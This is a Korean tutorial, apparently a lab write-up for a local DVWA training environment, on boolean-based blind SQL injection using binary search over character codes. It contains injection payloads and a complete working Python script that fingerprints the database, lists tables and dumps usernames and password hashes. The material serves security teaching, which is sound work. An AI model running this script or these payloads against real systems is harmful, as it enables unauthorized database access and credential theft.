글자당 요청 7번으로 줄이는 블라인드 SQLi 이분 탐색

🛡️ 강사 제공 인가된 실습 환경에서 수행

로컬 실습 환경(DVWA) 전용 학습 자료다. 허가받지 않은 시스템에 쓰면 안 된다.

URLhttp://192.168.10.105/dvwa/vulnerabilities/sqli_blind/ (파라미터 id)
환경DVWA v1.0.7 / PHP 5.2.4 / Apache 2.2.8, security=low
취약점Boolean-based Blind SQL Injection

데이터가 화면에 보이느냐 안 보이느냐

두 방식이 갈리는 이유는 딱 하나다 — 결과 데이터를 화면에서 직접 볼 수 있는가.

구분UNION 기반Blind 기반
데이터 보임?화면에 직접 출력안 보임 (참/거짓만)
뽑는 방법컬럼을 결과 자리에 끼워넣음예/아니오 질문 반복
속도한 번에 다글자당 최대 7번 질문 → 자동화 필수
언제 씀결과가 화면에 나올 때결과는 숨기고 참/거짓 반응만 다를 때

UNION 기반은 이렇게 원래 쿼리 결과 자리에 원하는 데이터를 끼워 넣어 화면에 그대로 출력시킨다.

1' UNION SELECT user, password FROM users-- -

admin / 5f4dcc3b... 처럼 값이 직접 찍혀 나오고, 한 번에 다 보인다.

반면 sqli_blind 페이지는 이름 그대로 데이터를 화면에 안 보여준다. 알려주는 건 두 가지 상태뿐이다.

입력화면 출력의미
1' AND '1'='1First name: admin 이 나옴참 (TRUE)
1' AND '1'='2아무것도 안 나옴거짓 (FALSE)

실제 데이터 글자는 절대 안 보이므로 UNION처럼 값을 띄울 수 없다. 대신 예/아니오로만 답하는 상대에게 스무고개를 한다.

스무고개로 글자를 알아내는 원리

데이터를 직접 못 보니 이렇게 질문을 던진다.

1' AND (비밀번호 첫 글자의 ASCII 코드) > 100 -- -
  • 데이터가 나오면(참) → “첫 글자 코드는 100보다 크다”
  • 안 나오면(거짓) → “100 이하다”

한 번의 질문으로 한 글자에 대한 예/아니오 정보 하나만 얻는다. 그래서 글자를 하나 확정한 뒤 다음 글자로 넘어가는 구조라, 화면에 aadadmadmi … 이렇게 한 글자씩 쌓인다.

이분 탐색

글자 하나는 ASCII 32~126 범위다. 하나씩 물으면 최대 95번. 대신 범위를 반씩 자른다.

"79보다 커?"  → 응(참).   범위 80~126
"103보다 커?" → 아니(거짓). 범위 80~103
"91보다 커?"  → 응(참).   범위 92~103
...

반씩 줄이면 글자당 딱 7번이면 확정된다 (2^7 = 128 > 95).

비밀번호를 뽑기 전에 LENGTH()문자열 길이를 먼저 알아내야 몇 글자를 반복할지 정할 수 있다. 이 길이 알아내기도 똑같이 이분 탐색으로 한다.

코드 구조

is_true() — 예/아니오 질문 던지기

def is_true(condition):                       # ← "예/아니오" 질문 함수
    payload = f"1' AND ({condition})-- -"      #   AND 뒤에 내 질문을 붙이고
    r = requests.get(BASE_URL, params={"id": payload, ...})
    return TRUE_MARKER in r.text               #   "First name" 있으면 참, 없으면 거짓

extract_char() — 글자 하나를 이분 탐색으로 확정

def extract_char(subquery, pos):
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if is_true(f"ASCII(SUBSTRING(({subquery}),{pos},1)) > {mid}"):
            lo = mid + 1                       #   "mid보다 크다" → 아래 범위 버림
        else:
            hi = mid                           #   "mid 이하다"  → 위 범위 버림
    return chr(lo)                             #   한 점으로 좁혀지면 그게 정답 글자

핵심 SQL 함수는 두 개다.

  • SUBSTRING((서브쿼리), pos, 1) — 결과 문자열에서 pos번째 한 글자만 잘라냄
  • ASCII(...) — 그 글자를 숫자로 바꿔 부등호 비교가 가능하게 함

extract() — 글자들을 모아 문자열 완성

def extract(subquery, label):
    length = extract_length(subquery)          #   먼저 길이를 알아내고 (이것도 이분 탐색)
    for pos in range(1, length + 1):           #   1번째 글자부터 끝까지
        result += extract_char(subquery, pos)  #   한 글자씩 확정해서 이어붙임
        print(result)                          #   ← 한 글자씩 쌓이는 그 출력

전체 코드

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA Boolean-based Blind SQL Injection 자동 추출 스크립트
대상: http://192.168.10.105/dvwa/vulnerabilities/sqli_blind/  (id 파라미터)

* 로컬 실습(DVWA) 환경 전용. 허가받지 않은 시스템에 사용 금지.
* 참/거짓 판정: 응답 본문에 "First name" 문자열이 있으면 TRUE(데이터 반환),
  없으면 FALSE.
"""

import requests
import string
import sys

requests.packages.urllib3.disable_warnings()

# ────────────────────────────── 설정 ──────────────────────────────
TARGET   = "192.168.10.105"
BASE_URL = f"http://{TARGET}/dvwa/vulnerabilities/sqli_blind/"

COOKIES = {
    "security": "low",
    "PHPSESSID": "<SESSION_ID>",   # ← 세션 만료 시 교체
}

HEADERS = {
    "User-Agent": ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
                   "AppleWebKit/537.36 (KHTML, like Gecko) "
                   "Chrome/146.0.0.0 Safari/537.36"),
}

TRUE_MARKER = "First name"     # 응답에 이 문자열이 있으면 조건이 참
# ────────────────────────────────────────────────────────────────


def is_true(condition: str) -> bool:
    """id=1' AND (<condition>) -- - 형태로 주입 후 참/거짓 판정."""
    payload = f"1' AND ({condition})-- -"
    r = requests.get(
        BASE_URL,
        params={"id": payload, "Submit": "Submit"},
        headers=HEADERS,
        cookies=COOKIES,
        verify=False,
    )
    return TRUE_MARKER in r.text


def extract_length(subquery: str, max_len: int = 200) -> int:
    """대상 서브쿼리 결과의 문자열 길이를 이분 탐색으로 알아낸다."""
    lo, hi = 0, max_len
    while lo < hi:
        mid = (lo + hi) // 2
        if is_true(f"LENGTH(({subquery})) > {mid}"):
            lo = mid + 1
        else:
            hi = mid
    return lo


def extract_char(subquery: str, pos: int) -> str:
    """지정 위치(pos, 1-base) 한 글자를 ASCII 이분 탐색으로 추출한다."""
    lo, hi = 32, 126            # 출력 가능한 ASCII 범위
    while lo < hi:
        mid = (lo + hi) // 2
        if is_true(f"ASCII(SUBSTRING(({subquery}),{pos},1)) > {mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)


def extract(subquery: str, label: str = "") -> str:
    """서브쿼리 결과 문자열 전체를 한 글자씩 추출한다."""
    length = extract_length(subquery)
    if length == 0:
        print(f"[!] '{label or subquery}' 결과 없음(빈 값)")
        return ""

    result = ""
    for pos in range(1, length + 1):
        ch = extract_char(subquery, pos)
        result += ch
        # 진행 상황을 실시간으로 표시
        sys.stdout.write(f"\r[*] {label or subquery} ({pos}/{length}): {result}")
        sys.stdout.flush()
    print()
    return result


def dump_users():
    """users 테이블의 계정/비밀번호 해시를 모두 덤프한다."""
    count = int(extract("SELECT COUNT(*) FROM users", "user count") or 0)
    print(f"[+] users 테이블 행 수: {count}\n")

    creds = []
    for i in range(count):
        # 행 하나를 user:hash 형태로 이어붙여 한 번에 추출
        row_q = (f"SELECT CONCAT(user,0x3a,password) FROM users "
                 f"LIMIT {i},1")
        row = extract(row_q, f"row {i}")
        creds.append(row)

    print("\n========== 덤프 결과 ==========")
    for c in creds:
        print(c)


def main():
    # 0) 취약점/주입 동작 확인
    if not is_true("1=1"):
        print("[!] 참 조건이 TRUE로 판정되지 않음 — 쿠키/마커 설정 확인 필요")
        sys.exit(1)
    if is_true("1=2"):
        print("[!] 거짓 조건이 TRUE로 판정됨 — 마커 설정 확인 필요")
        sys.exit(1)
    print("[+] Blind SQLi 주입 정상 동작 확인 (1=1→참, 1=2→거짓)\n")

    # 1) DB 기본 정보
    print("── DB 정보 수집 ──")
    extract("SELECT VERSION()",        "DB 버전")
    extract("SELECT DATABASE()",       "현재 DB")
    extract("SELECT CURRENT_USER()",   "현재 사용자")
    print()

    # 2) 현재 DB의 테이블 목록
    print("── 테이블 목록 ──")
    extract("SELECT GROUP_CONCAT(table_name) FROM information_schema.tables "
            "WHERE table_schema=DATABASE()", "테이블")
    print()

    # 3) users 테이블 계정/해시 덤프
    print("── users 테이블 덤프 ──")
    dump_users()


if __name__ == "__main__":
    main()

한 줄 요약

UNION은 “답을 보여줘”, Blind는 “답은 안 보여주니 스무고개로 알아낸다”. 사람이 스무고개를 수천 번 하긴 힘드니 파이썬으로 자동화한 것이다.